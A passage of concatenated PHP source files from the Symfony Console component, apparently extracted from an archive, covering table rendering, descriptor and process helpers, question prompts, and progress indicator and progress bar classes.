{ $divider = new TableSeparator(); $isCellWithColspan = static fn ($cell) => $cell instanceof TableCell && $cell->getColspan() >= 2; $horizontal = self::DISPLAY_ORIENTATION_HORIZONTAL === $this->displayOrientation; $vertical = self::DISPLAY_ORIENTATION_VERTICAL === $this->displayOrientation; $rows = []; if ($horizontal) { foreach ($this->headers[0] ?? [] as $i => $header) { $rows[$i] = [$header]; foreach ($this->rows as $row) { if ($row instanceof TableSeparator) { continue; } if (isset($row[$i])) { $rows[$i][] = $row[$i]; } elseif ($isCellWithColspan($rows[$i][0])) { // Noop, there is a "title" } else { $rows[$i][] = null; } } } } elseif ($vertical) { $formatter = $this->output->getFormatter(); $maxHeaderLength = array_reduce($this->headers[0] ?? [], static fn ($max, $header) => max($max, Helper::width(Helper::removeDecoration($formatter, $header))), 0); foreach ($this->rows as $row) { if ($row instanceof TableSeparator) { continue; } if ($rows) { $rows[] = [$divider]; } $containsColspan = false; foreach ($row as $cell) { if ($containsColspan = $isCellWithColspan($cell)) { break; } } $headers = $this->headers[0] ?? []; $maxRows = max(\count($headers), \count($row)); for ($i = 0; $i < $maxRows; ++$i) { $cell = (string) ($row[$i] ?? ''); if ($headers && !$containsColspan) { $rows[] = [sprintf( '%s: %s', str_pad($headers[$i] ?? '', $maxHeaderLength, ' ', \STR_PAD_LEFT), $cell )]; } elseif ('' !== $cell) { $rows[] = [$cell]; } } } } else { $rows = array_merge($this->headers, [$divider], $this->rows); } $this->calculateNumberOfColumns($rows); $rowGroups = $this->buildTableRows($rows); $this->calculateColumnsWidth($rowGroups); $isHeader = !$horizontal; $isFirstRow = $horizontal; $hasTitle = (bool) $this->headerTitle; foreach ($rowGroups as $rowGroup) { $isHeaderSeparatorRendered = false; foreach ($rowGroup as $row) { if ($divider === $row) { $isHeader = false; $isFirstRow = true; continue; } if ($row instanceof TableSeparator) { $this->renderRowSeparator(); continue; } if (!$row) { continue; } if ($isHeader && !$isHeaderSeparatorRendered) { $this->renderRowSeparator( $isHeader ? self::SEPARATOR_TOP : self::SEPARATOR_TOP_BOTTOM, $hasTitle ? $this->headerTitle : null, $hasTitle ? $this->style->getHeaderTitleFormat() : null ); $hasTitle = false; $isHeaderSeparatorRendered = true; } if ($isFirstRow) { $this->renderRowSeparator( $isHeader ? self::SEPARATOR_TOP : self::SEPARATOR_TOP_BOTTOM, $hasTitle ? $this->headerTitle : null, $hasTitle ? $this->style->getHeaderTitleFormat() : null ); $isFirstRow = false; $hasTitle = false; } if ($vertical) { $isHeader = false; $isFirstRow = false; } if ($horizontal) { $this->renderRow($row, $this->style->getCellRowFormat(), $this->style->getCellHeaderFormat()); } else { $this->renderRow($row, $isHeader ? $this->style->getCellHeaderFormat() : $this->style->getCellRowFormat()); } } } $this->renderRowSeparator(self::SEPARATOR_BOTTOM, $this->footerTitle, $this->style->getFooterTitleFormat()); $this->cleanup(); $this->rendered = true; } /** * Renders horizontal header separator. * * Example: * * +-----+-----------+-------+ */ private function renderRowSeparator(int $type = self::SEPARATOR_MID, string $title = null, string $titleFormat = null): void { if (!$count = $this->numberOfColumns) { return; } $borders = $this->style->getBorderChars(); if (!$borders[0] && !$borders[2] && !$this->style->getCrossingChar()) { return; } $crossings = $this->style->getCrossingChars(); if (self::SEPARATOR_MID === $type) { [$horizontal, $leftChar, $midChar, $rightChar] = [$borders[2], $crossings[8], $crossings[0], $crossings[4]]; } elseif (self::SEPARATOR_TOP === $type) { [$horizontal, $leftChar, $midChar, $rightChar] = [$borders[0], $crossings[1], $crossings[2], $crossings[3]]; } elseif (self::SEPARATOR_TOP_BOTTOM === $type) { [$horizontal, $leftChar, $midChar, $rightChar] = [$borders[0], $crossings[9], $crossings[10], $crossings[11]]; } else { [$horizontal, $leftChar, $midChar, $rightChar] = [$borders[0], $crossings[7], $crossings[6], $crossings[5]]; } $markup = $leftChar; for ($column = 0; $column < $count; ++$column) { $markup .= str_repeat($horizontal, $this->effectiveColumnWidths[$column]); $markup .= $column === $count - 1 ? $rightChar : $midChar; } if (null !== $title) { $titleLength = Helper::width(Helper::removeDecoration($formatter = $this->output->getFormatter(), $formattedTitle = sprintf($titleFormat, $title))); $markupLength = Helper::width($markup); if ($titleLength > $limit = $markupLength - 4) { $titleLength = $limit; $formatLength = Helper::width(Helper::removeDecoration($formatter, sprintf($titleFormat, ''))); $formattedTitle = sprintf($titleFormat, Helper::substr($title, 0, $limit - $formatLength - 3).'...'); } $titleStart = intdiv($markupLength - $titleLength, 2); if (false === mb_detect_encoding($markup, null, true)) { $markup = substr_replace($markup, $formattedTitle, $titleStart, $titleLength); } else { $markup = mb_substr($markup, 0, $titleStart).$formattedTitle.mb_substr($markup, $titleStart + $titleLength); } } $this->output->writeln(sprintf($this->style->getBorderFormat(), $markup)); } /** * Renders vertical column separator. */ private function renderColumnSeparator(int $type = self::BORDER_OUTSIDE): string { $borders = $this->style->getBorderChars(); return sprintf($this->style->getBorderFormat(), self::BORDER_OUTSIDE === $type ? $borders[1] : $borders[3]); } /** * Renders table row. * * Example: * * | 9971-5-0210-0 | A Tale of Two Cities | Charles Dickens | */ private function renderRow(array $row, string $cellFormat, string $firstCellFormat = null): void { $rowContent = $this->renderColumnSeparator(self::BORDER_OUTSIDE); $columns = $this->getRowColumns($row); $last = \count($columns) - 1; foreach ($columns as $i => $column) { if ($firstCellFormat && 0 === $i) { $rowContent .= $this->renderCell($row, $column, $firstCellFormat); } else { $rowContent .= $this->renderCell($row, $column, $cellFormat); } $rowContent .= $this->renderColumnSeparator($last === $i ? self::BORDER_OUTSIDE : self::BORDER_INSIDE); } $this->output->writeln($rowContent); } /** * Renders table cell with padding. */ private function renderCell(array $row, int $column, string $cellFormat): string { $cell = $row[$column] ?? ''; $width = $this->effectiveColumnWidths[$column]; if ($cell instanceof TableCell && $cell->getColspan() > 1) { // add the width of the following columns(numbers of colspan). foreach (range($column + 1, $column + $cell->getColspan() - 1) as $nextColumn) { $width += $this->getColumnSeparatorWidth() + $this->effectiveColumnWidths[$nextColumn]; } } // str_pad won't work properly with multi-byte strings, we need to fix the padding if (false !== $encoding = mb_detect_encoding($cell, null, true)) { $width += \strlen($cell) - mb_strwidth($cell, $encoding); } $style = $this->getColumnStyle($column); if ($cell instanceof TableSeparator) { return sprintf($style->getBorderFormat(), str_repeat($style->getBorderChars()[2], $width)); } $width += Helper::length($cell) - Helper::length(Helper::removeDecoration($this->output->getFormatter(), $cell)); $content = sprintf($style->getCellRowContentFormat(), $cell); $padType = $style->getPadType(); if ($cell instanceof TableCell && $cell->getStyle() instanceof TableCellStyle) { $isNotStyledByTag = !preg_match('/^<(\w+|(\w+=[\w,]+;?)*)>.+<\/(\w+|(\w+=\w+;?)*)?>$/', $cell); if ($isNotStyledByTag) { $cellFormat = $cell->getStyle()->getCellFormat(); if (!\is_string($cellFormat)) { $tag = http_build_query($cell->getStyle()->getTagOptions(), '', ';'); $cellFormat = '<'.$tag.'>%s'; } if (str_contains($content, '')) { $content = str_replace('', '', $content); $width -= 3; } if (str_contains($content, '')) { $content = str_replace('', '', $content); $width -= \strlen(''); } } $padType = $cell->getStyle()->getPadByAlign(); } return sprintf($cellFormat, str_pad($content, $width, $style->getPaddingChar(), $padType)); } /** * Calculate number of columns for this table. */ private function calculateNumberOfColumns(array $rows): void { $columns = [0]; foreach ($rows as $row) { if ($row instanceof TableSeparator) { continue; } $columns[] = $this->getNumberOfColumns($row); } $this->numberOfColumns = max($columns); } private function buildTableRows(array $rows): TableRows { /** @var WrappableOutputFormatterInterface $formatter */ $formatter = $this->output->getFormatter(); $unmergedRows = []; for ($rowKey = 0; $rowKey < \count($rows); ++$rowKey) { $rows = $this->fillNextRows($rows, $rowKey); // Remove any new line breaks and replace it with a new line foreach ($rows[$rowKey] as $column => $cell) { $colspan = $cell instanceof TableCell ? $cell->getColspan() : 1; if (isset($this->columnMaxWidths[$column]) && Helper::width(Helper::removeDecoration($formatter, $cell)) > $this->columnMaxWidths[$column]) { $cell = $formatter->formatAndWrap($cell, $this->columnMaxWidths[$column] * $colspan); } if (!str_contains($cell ?? '', "\n")) { continue; } $escaped = implode("\n", array_map(OutputFormatter::escapeTrailingBackslash(...), explode("\n", $cell))); $cell = $cell instanceof TableCell ? new TableCell($escaped, ['colspan' => $cell->getColspan()]) : $escaped; $lines = explode("\n", str_replace("\n", "\n", $cell)); foreach ($lines as $lineKey => $line) { if ($colspan > 1) { $line = new TableCell($line, ['colspan' => $colspan]); } if (0 === $lineKey) { $rows[$rowKey][$column] = $line; } else { if (!\array_key_exists($rowKey, $unmergedRows) || !\array_key_exists($lineKey, $unmergedRows[$rowKey])) { $unmergedRows[$rowKey][$lineKey] = $this->copyRow($rows, $rowKey); } $unmergedRows[$rowKey][$lineKey][$column] = $line; } } } } return new TableRows(function () use ($rows, $unmergedRows): \Traversable { foreach ($rows as $rowKey => $row) { $rowGroup = [$row instanceof TableSeparator ? $row : $this->fillCells($row)]; if (isset($unmergedRows[$rowKey])) { foreach ($unmergedRows[$rowKey] as $row) { $rowGroup[] = $row instanceof TableSeparator ? $row : $this->fillCells($row); } } yield $rowGroup; } }); } private function calculateRowCount(): int { $numberOfRows = \count(iterator_to_array($this->buildTableRows(array_merge($this->headers, [new TableSeparator()], $this->rows)))); if ($this->headers) { ++$numberOfRows; // Add row for header separator } if ($this->rows) { ++$numberOfRows; // Add row for footer separator } return $numberOfRows; } /** * fill rows that contains rowspan > 1. * * @throws InvalidArgumentException */ private function fillNextRows(array $rows, int $line): array { $unmergedRows = []; foreach ($rows[$line] as $column => $cell) { if (null !== $cell && !$cell instanceof TableCell && !\is_scalar($cell) && !$cell instanceof \Stringable) { throw new InvalidArgumentException(sprintf('A cell must be a TableCell, a scalar or an object implementing "__toString()", "%s" given.', get_debug_type($cell))); } if ($cell instanceof TableCell && $cell->getRowspan() > 1) { $nbLines = $cell->getRowspan() - 1; $lines = [$cell]; if (str_contains($cell, "\n")) { $lines = explode("\n", str_replace("\n", "\n", $cell)); $nbLines = \count($lines) > $nbLines ? substr_count($cell, "\n") : $nbLines; $rows[$line][$column] = new TableCell($lines[0], ['colspan' => $cell->getColspan(), 'style' => $cell->getStyle()]); unset($lines[0]); } // create a two dimensional array (rowspan x colspan) $unmergedRows = array_replace_recursive(array_fill($line + 1, $nbLines, []), $unmergedRows); foreach ($unmergedRows as $unmergedRowKey => $unmergedRow) { $value = $lines[$unmergedRowKey - $line] ?? ''; $unmergedRows[$unmergedRowKey][$column] = new TableCell($value, ['colspan' => $cell->getColspan(), 'style' => $cell->getStyle()]); if ($nbLines === $unmergedRowKey - $line) { break; } } } } foreach ($unmergedRows as $unmergedRowKey => $unmergedRow) { // we need to know if $unmergedRow will be merged or inserted into $rows if (isset($rows[$unmergedRowKey]) && \is_array($rows[$unmergedRowKey]) && ($this->getNumberOfColumns($rows[$unmergedRowKey]) + $this->getNumberOfColumns($unmergedRows[$unmergedRowKey]) <= $this->numberOfColumns)) { foreach ($unmergedRow as $cellKey => $cell) { // insert cell into row at cellKey position array_splice($rows[$unmergedRowKey], $cellKey, 0, [$cell]); } } else { $row = $this->copyRow($rows, $unmergedRowKey - 1); foreach ($unmergedRow as $column => $cell) { if (!empty($cell)) { $row[$column] = $unmergedRow[$column]; } } array_splice($rows, $unmergedRowKey, 0, [$row]); } } return $rows; } /** * fill cells for a row that contains colspan > 1. */ private function fillCells(iterable $row): iterable { $newRow = []; foreach ($row as $column => $cell) { $newRow[] = $cell; if ($cell instanceof TableCell && $cell->getColspan() > 1) { foreach (range($column + 1, $column + $cell->getColspan() - 1) as $position) { // insert empty value at column position $newRow[] = ''; } } } return $newRow ?: $row; } private function copyRow(array $rows, int $line): array { $row = $rows[$line]; foreach ($row as $cellKey => $cellValue) { $row[$cellKey] = ''; if ($cellValue instanceof TableCell) { $row[$cellKey] = new TableCell('', ['colspan' => $cellValue->getColspan()]); } } return $row; } /** * Gets number of columns by row. */ private function getNumberOfColumns(array $row): int { $columns = \count($row); foreach ($row as $column) { $columns += $column instanceof TableCell ? ($column->getColspan() - 1) : 0; } return $columns; } /** * Gets list of columns for the given row. */ private function getRowColumns(array $row): array { $columns = range(0, $this->numberOfColumns - 1); foreach ($row as $cellKey => $cell) { if ($cell instanceof TableCell && $cell->getColspan() > 1) { // exclude grouped columns. $columns = array_diff($columns, range($cellKey + 1, $cellKey + $cell->getColspan() - 1)); } } return $columns; } /** * Calculates columns widths. */ private function calculateColumnsWidth(iterable $groups): void { for ($column = 0; $column < $this->numberOfColumns; ++$column) { $lengths = []; foreach ($groups as $group) { foreach ($group as $row) { if ($row instanceof TableSeparator) { continue; } foreach ($row as $i => $cell) { if ($cell instanceof TableCell) { $textContent = Helper::removeDecoration($this->output->getFormatter(), $cell); $textLength = Helper::width($textContent); if ($textLength > 0) { $contentColumns = mb_str_split($textContent, ceil($textLength / $cell->getColspan())); foreach ($contentColumns as $position => $content) { $row[$i + $position] = $content; } } } } $lengths[] = $this->getCellWidth($row, $column); } } $this->effectiveColumnWidths[$column] = max($lengths) + Helper::width($this->style->getCellRowContentFormat()) - 2; } } private function getColumnSeparatorWidth(): int { return Helper::width(sprintf($this->style->getBorderFormat(), $this->style->getBorderChars()[3])); } private function getCellWidth(array $row, int $column): int { $cellWidth = 0; if (isset($row[$column])) { $cell = $row[$column]; $cellWidth = Helper::width(Helper::removeDecoration($this->output->getFormatter(), $cell)); } $columnWidth = $this->columnWidths[$column] ?? 0; $cellWidth = max($cellWidth, $columnWidth); return isset($this->columnMaxWidths[$column]) ? min($this->columnMaxWidths[$column], $cellWidth) : $cellWidth; } /** * Called after rendering to cleanup cache data. */ private function cleanup(): void { $this->effectiveColumnWidths = []; unset($this->numberOfColumns); } /** * @return array */ private static function initStyles(): array { $borderless = new TableStyle(); $borderless ->setHorizontalBorderChars('=') ->setVerticalBorderChars(' ') ->setDefaultCrossingChar(' ') ; $compact = new TableStyle(); $compact ->setHorizontalBorderChars('') ->setVerticalBorderChars('') ->setDefaultCrossingChar('') ->setCellRowContentFormat('%s ') ; $styleGuide = new TableStyle(); $styleGuide ->setHorizontalBorderChars('-') ->setVerticalBorderChars(' ') ->setDefaultCrossingChar(' ') ->setCellHeaderFormat('%s') ; $box = (new TableStyle()) ->setHorizontalBorderChars('─') ->setVerticalBorderChars('│') ->setCrossingChars('┼', '┌', '┬', '┐', '┤', '┘', '┴', '└', '├') ; $boxDouble = (new TableStyle()) ->setHorizontalBorderChars('═', '─') ->setVerticalBorderChars('║', '│') ->setCrossingChars('┼', '╔', '╤', '╗', '╢', '╝', '╧', '╚', '╟', '╠', '╪', '╣') ; return [ 'default' => new TableStyle(), 'borderless' => $borderless, 'compact' => $compact, 'symfony-style-guide' => $styleGuide, 'box' => $box, 'box-double' => $boxDouble, ]; } private function resolveStyle(TableStyle|string $name): TableStyle { if ($name instanceof TableStyle) { return $name; } return self::$styles[$name] ?? throw new InvalidArgumentException(sprintf('Style "%s" is not defined.', $name)); } } console/Helper/DescriptorHelper.php000064400000005115151113511740013415 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Descriptor\DescriptorInterface; use Symfony\Component\Console\Descriptor\JsonDescriptor; use Symfony\Component\Console\Descriptor\MarkdownDescriptor; use Symfony\Component\Console\Descriptor\ReStructuredTextDescriptor; use Symfony\Component\Console\Descriptor\TextDescriptor; use Symfony\Component\Console\Descriptor\XmlDescriptor; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Output\OutputInterface; /** * This class adds helper method to describe objects in various formats. * * @author Jean-François Simon */ class DescriptorHelper extends Helper { /** * @var DescriptorInterface[] */ private array $descriptors = []; public function __construct() { $this ->register('txt', new TextDescriptor()) ->register('xml', new XmlDescriptor()) ->register('json', new JsonDescriptor()) ->register('md', new MarkdownDescriptor()) ->register('rst', new ReStructuredTextDescriptor()) ; } /** * Describes an object if supported. * * Available options are: * * format: string, the output format name * * raw_text: boolean, sets output type as raw * * @return void * * @throws InvalidArgumentException when the given format is not supported */ public function describe(OutputInterface $output, ?object $object, array $options = []) { $options = array_merge([ 'raw_text' => false, 'format' => 'txt', ], $options); if (!isset($this->descriptors[$options['format']])) { throw new InvalidArgumentException(sprintf('Unsupported format "%s".', $options['format'])); } $descriptor = $this->descriptors[$options['format']]; $descriptor->describe($output, $object, $options); } /** * Registers a descriptor. * * @return $this */ public function register(string $format, DescriptorInterface $descriptor): static { $this->descriptors[$format] = $descriptor; return $this; } public function getName(): string { return 'descriptor'; } public function getFormats(): array { return array_keys($this->descriptors); } } console/Helper/ProcessHelper.php000064400000011217151113511740012715 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Process\Exception\ProcessFailedException; use Symfony\Component\Process\Process; /** * The ProcessHelper class provides helpers to run external processes. * * @author Fabien Potencier * * @final */ class ProcessHelper extends Helper { /** * Runs an external process. * * @param array|Process $cmd An instance of Process or an array of the command and arguments * @param callable|null $callback A PHP callback to run whenever there is some * output available on STDOUT or STDERR */ public function run(OutputInterface $output, array|Process $cmd, string $error = null, callable $callback = null, int $verbosity = OutputInterface::VERBOSITY_VERY_VERBOSE): Process { if (!class_exists(Process::class)) { throw new \LogicException('The ProcessHelper cannot be run as the Process component is not installed. Try running "compose require symfony/process".'); } if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } $formatter = $this->getHelperSet()->get('debug_formatter'); if ($cmd instanceof Process) { $cmd = [$cmd]; } if (\is_string($cmd[0] ?? null)) { $process = new Process($cmd); $cmd = []; } elseif (($cmd[0] ?? null) instanceof Process) { $process = $cmd[0]; unset($cmd[0]); } else { throw new \InvalidArgumentException(sprintf('Invalid command provided to "%s()": the command should be an array whose first element is either the path to the binary to run or a "Process" object.', __METHOD__)); } if ($verbosity <= $output->getVerbosity()) { $output->write($formatter->start(spl_object_hash($process), $this->escapeString($process->getCommandLine()))); } if ($output->isDebug()) { $callback = $this->wrapCallback($output, $process, $callback); } $process->run($callback, $cmd); if ($verbosity <= $output->getVerbosity()) { $message = $process->isSuccessful() ? 'Command ran successfully' : sprintf('%s Command did not run successfully', $process->getExitCode()); $output->write($formatter->stop(spl_object_hash($process), $message, $process->isSuccessful())); } if (!$process->isSuccessful() && null !== $error) { $output->writeln(sprintf('%s', $this->escapeString($error))); } return $process; } /** * Runs the process. * * This is identical to run() except that an exception is thrown if the process * exits with a non-zero exit code. * * @param array|Process $cmd An instance of Process or a command to run * @param callable|null $callback A PHP callback to run whenever there is some * output available on STDOUT or STDERR * * @throws ProcessFailedException * * @see run() */ public function mustRun(OutputInterface $output, array|Process $cmd, string $error = null, callable $callback = null): Process { $process = $this->run($output, $cmd, $error, $callback); if (!$process->isSuccessful()) { throw new ProcessFailedException($process); } return $process; } /** * Wraps a Process callback to add debugging output. */ public function wrapCallback(OutputInterface $output, Process $process, callable $callback = null): callable { if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } $formatter = $this->getHelperSet()->get('debug_formatter'); return function ($type, $buffer) use ($output, $process, $callback, $formatter) { $output->write($formatter->progress(spl_object_hash($process), $this->escapeString($buffer), Process::ERR === $type)); if (null !== $callback) { $callback($type, $buffer); } }; } private function escapeString(string $str): string { return str_replace('<', '\\<', $str); } public function getName(): string { return 'process'; } } console/Helper/TableRows.php000064400000001116151113511740012036 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; /** * @internal */ class TableRows implements \IteratorAggregate { private \Closure $generator; public function __construct(\Closure $generator) { $this->generator = $generator; } public function getIterator(): \Traversable { return ($this->generator)(); } } console/Helper/TableSeparator.php000064400000001023151113511740013041 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; /** * Marks a row as being a separator. * * @author Fabien Potencier */ class TableSeparator extends TableCell { public function __construct(array $options = []) { parent::__construct('', $options); } } console/Helper/SymfonyQuestionHelper.php000064400000006315151113511740014476 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\ChoiceQuestion; use Symfony\Component\Console\Question\ConfirmationQuestion; use Symfony\Component\Console\Question\Question; use Symfony\Component\Console\Style\SymfonyStyle; /** * Symfony Style Guide compliant question helper. * * @author Kevin Bond */ class SymfonyQuestionHelper extends QuestionHelper { /** * @return void */ protected function writePrompt(OutputInterface $output, Question $question) { $text = OutputFormatter::escapeTrailingBackslash($question->getQuestion()); $default = $question->getDefault(); if ($question->isMultiline()) { $text .= sprintf(' (press %s to continue)', $this->getEofShortcut()); } switch (true) { case null === $default: $text = sprintf(' %s:', $text); break; case $question instanceof ConfirmationQuestion: $text = sprintf(' %s (yes/no) [%s]:', $text, $default ? 'yes' : 'no'); break; case $question instanceof ChoiceQuestion && $question->isMultiselect(): $choices = $question->getChoices(); $default = explode(',', $default); foreach ($default as $key => $value) { $default[$key] = $choices[trim($value)]; } $text = sprintf(' %s [%s]:', $text, OutputFormatter::escape(implode(', ', $default))); break; case $question instanceof ChoiceQuestion: $choices = $question->getChoices(); $text = sprintf(' %s [%s]:', $text, OutputFormatter::escape($choices[$default] ?? $default)); break; default: $text = sprintf(' %s [%s]:', $text, OutputFormatter::escape($default)); } $output->writeln($text); $prompt = ' > '; if ($question instanceof ChoiceQuestion) { $output->writeln($this->formatChoiceQuestionChoices($question, 'comment')); $prompt = $question->getPrompt(); } $output->write($prompt); } /** * @return void */ protected function writeError(OutputInterface $output, \Exception $error) { if ($output instanceof SymfonyStyle) { $output->newLine(); $output->error($error->getMessage()); return; } parent::writeError($output, $error); } private function getEofShortcut(): string { if ('Windows' === \PHP_OS_FAMILY) { return 'Ctrl+Z then Enter'; } return 'Ctrl+D'; } } console/Helper/ProgressIndicator.php000064400000015515151113511740013605 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Console\Output\OutputInterface; /** * @author Kevin Bond */ class ProgressIndicator { private const FORMATS = [ 'normal' => ' %indicator% %message%', 'normal_no_ansi' => ' %message%', 'verbose' => ' %indicator% %message% (%elapsed:6s%)', 'verbose_no_ansi' => ' %message% (%elapsed:6s%)', 'very_verbose' => ' %indicator% %message% (%elapsed:6s%, %memory:6s%)', 'very_verbose_no_ansi' => ' %message% (%elapsed:6s%, %memory:6s%)', ]; private OutputInterface $output; private int $startTime; private ?string $format = null; private ?string $message = null; private array $indicatorValues; private int $indicatorCurrent; private int $indicatorChangeInterval; private float $indicatorUpdateTime; private bool $started = false; /** * @var array */ private static array $formatters; /** * @param int $indicatorChangeInterval Change interval in milliseconds * @param array|null $indicatorValues Animated indicator characters */ public function __construct(OutputInterface $output, string $format = null, int $indicatorChangeInterval = 100, array $indicatorValues = null) { $this->output = $output; $format ??= $this->determineBestFormat(); $indicatorValues ??= ['-', '\\', '|', '/']; $indicatorValues = array_values($indicatorValues); if (2 > \count($indicatorValues)) { throw new InvalidArgumentException('Must have at least 2 indicator value characters.'); } $this->format = self::getFormatDefinition($format); $this->indicatorChangeInterval = $indicatorChangeInterval; $this->indicatorValues = $indicatorValues; $this->startTime = time(); } /** * Sets the current indicator message. * * @return void */ public function setMessage(?string $message) { $this->message = $message; $this->display(); } /** * Starts the indicator output. * * @return void */ public function start(string $message) { if ($this->started) { throw new LogicException('Progress indicator already started.'); } $this->message = $message; $this->started = true; $this->startTime = time(); $this->indicatorUpdateTime = $this->getCurrentTimeInMilliseconds() + $this->indicatorChangeInterval; $this->indicatorCurrent = 0; $this->display(); } /** * Advances the indicator. * * @return void */ public function advance() { if (!$this->started) { throw new LogicException('Progress indicator has not yet been started.'); } if (!$this->output->isDecorated()) { return; } $currentTime = $this->getCurrentTimeInMilliseconds(); if ($currentTime < $this->indicatorUpdateTime) { return; } $this->indicatorUpdateTime = $currentTime + $this->indicatorChangeInterval; ++$this->indicatorCurrent; $this->display(); } /** * Finish the indicator with message. * * @return void */ public function finish(string $message) { if (!$this->started) { throw new LogicException('Progress indicator has not yet been started.'); } $this->message = $message; $this->display(); $this->output->writeln(''); $this->started = false; } /** * Gets the format for a given name. */ public static function getFormatDefinition(string $name): ?string { return self::FORMATS[$name] ?? null; } /** * Sets a placeholder formatter for a given name. * * This method also allow you to override an existing placeholder. * * @return void */ public static function setPlaceholderFormatterDefinition(string $name, callable $callable) { self::$formatters ??= self::initPlaceholderFormatters(); self::$formatters[$name] = $callable; } /** * Gets the placeholder formatter for a given name (including the delimiter char like %). */ public static function getPlaceholderFormatterDefinition(string $name): ?callable { self::$formatters ??= self::initPlaceholderFormatters(); return self::$formatters[$name] ?? null; } private function display(): void { if (OutputInterface::VERBOSITY_QUIET === $this->output->getVerbosity()) { return; } $this->overwrite(preg_replace_callback("{%([a-z\-_]+)(?:\:([^%]+))?%}i", function ($matches) { if ($formatter = self::getPlaceholderFormatterDefinition($matches[1])) { return $formatter($this); } return $matches[0]; }, $this->format ?? '')); } private function determineBestFormat(): string { return match ($this->output->getVerbosity()) { // OutputInterface::VERBOSITY_QUIET: display is disabled anyway OutputInterface::VERBOSITY_VERBOSE => $this->output->isDecorated() ? 'verbose' : 'verbose_no_ansi', OutputInterface::VERBOSITY_VERY_VERBOSE, OutputInterface::VERBOSITY_DEBUG => $this->output->isDecorated() ? 'very_verbose' : 'very_verbose_no_ansi', default => $this->output->isDecorated() ? 'normal' : 'normal_no_ansi', }; } /** * Overwrites a previous message to the output. */ private function overwrite(string $message): void { if ($this->output->isDecorated()) { $this->output->write("\x0D\x1B[2K"); $this->output->write($message); } else { $this->output->writeln($message); } } private function getCurrentTimeInMilliseconds(): float { return round(microtime(true) * 1000); } /** * @return array */ private static function initPlaceholderFormatters(): array { return [ 'indicator' => fn (self $indicator) => $indicator->indicatorValues[$indicator->indicatorCurrent % \count($indicator->indicatorValues)], 'message' => fn (self $indicator) => $indicator->message, 'elapsed' => fn (self $indicator) => Helper::formatTime(time() - $indicator->startTime), 'memory' => fn () => Helper::formatMemory(memory_get_usage(true)), ]; } } console/Helper/ProgressBar.php000064400000046207151113511740012377 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Cursor; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\ConsoleSectionOutput; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Terminal; /** * The ProgressBar provides helpers to display progress output. * * @author Fabien Potencier * @author Chris Jones */ final class ProgressBar { public const FORMAT_VERBOSE = 'verbose'; public const FORMAT_VERY_VERBOSE = 'very_verbose'; public const FORMAT_DEBUG = 'debug'; public const FORMAT_NORMAL = 'normal'; private const FORMAT_VERBOSE_NOMAX = 'verbose_nomax'; private const FORMAT_VERY_VERBOSE_NOMAX = 'very_verbose_nomax'; private const FORMAT_DEBUG_NOMAX = 'debug_nomax'; private const FORMAT_NORMAL_NOMAX = 'normal_nomax'; private int $barWidth = 28; private string $barChar; private string $emptyBarChar = '-'; private string $progressChar = '>'; private ?string $format = null; private ?string $internalFormat = null; private ?int $redrawFreq = 1; private int $writeCount = 0; private float $lastWriteTime = 0; private float $minSecondsBetweenRedraws = 0; private float $maxSecondsBetweenRedraws = 1; private OutputInterface $output; private int $step = 0; private int $startingStep = 0; private ?int $max = null; private int $startTime; private int $stepWidth; private float $percent = 0.0; private array $messages = []; private bool $overwrite = true; private Terminal $terminal; private ?string $previousMessage = null; private Cursor $cursor; private array $placeholders = []; private static array $formatters; private static array $formats; /** * @param int $max Maximum steps (0 if unknown) */ public function __construct(OutputInterface $output, int $max = 0, float $minSecondsBetweenRedraws = 1 / 25) { if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } $this->output = $output; $this->setMaxSteps($max); $this->terminal = new Terminal(); if (0 < $minSecondsBetweenRedraws) { $this->redrawFreq = null; $this->minSecondsBetweenRedraws = $minSecondsBetweenRedraws; } if (!$this->output->isDecorated()) { // disable overwrite when output does not support ANSI codes. $this->overwrite = false; // set a reasonable redraw frequency so output isn't flooded $this->redrawFreq = null; } $this->startTime = time(); $this->cursor = new Cursor($output); } /** * Sets a placeholder formatter for a given name, globally for all instances of ProgressBar. * * This method also allow you to override an existing placeholder. * * @param string $name The placeholder name (including the delimiter char like %) * @param callable(ProgressBar):string $callable A PHP callable */ public static function setPlaceholderFormatterDefinition(string $name, callable $callable): void { self::$formatters ??= self::initPlaceholderFormatters(); self::$formatters[$name] = $callable; } /** * Gets the placeholder formatter for a given name. * * @param string $name The placeholder name (including the delimiter char like %) */ public static function getPlaceholderFormatterDefinition(string $name): ?callable { self::$formatters ??= self::initPlaceholderFormatters(); return self::$formatters[$name] ?? null; } /** * Sets a placeholder formatter for a given name, for this instance only. * * @param callable(ProgressBar):string $callable A PHP callable */ public function setPlaceholderFormatter(string $name, callable $callable): void { $this->placeholders[$name] = $callable; } /** * Gets the placeholder formatter for a given name. * * @param string $name The placeholder name (including the delimiter char like %) */ public function getPlaceholderFormatter(string $name): ?callable { return $this->placeholders[$name] ?? $this::getPlaceholderFormatterDefinition($name); } /** * Sets a format for a given name. * * This method also allow you to override an existing format. * * @param string $name The format name * @param string $format A format string */ public static function setFormatDefinition(string $name, string $format): void { self::$formats ??= self::initFormats(); 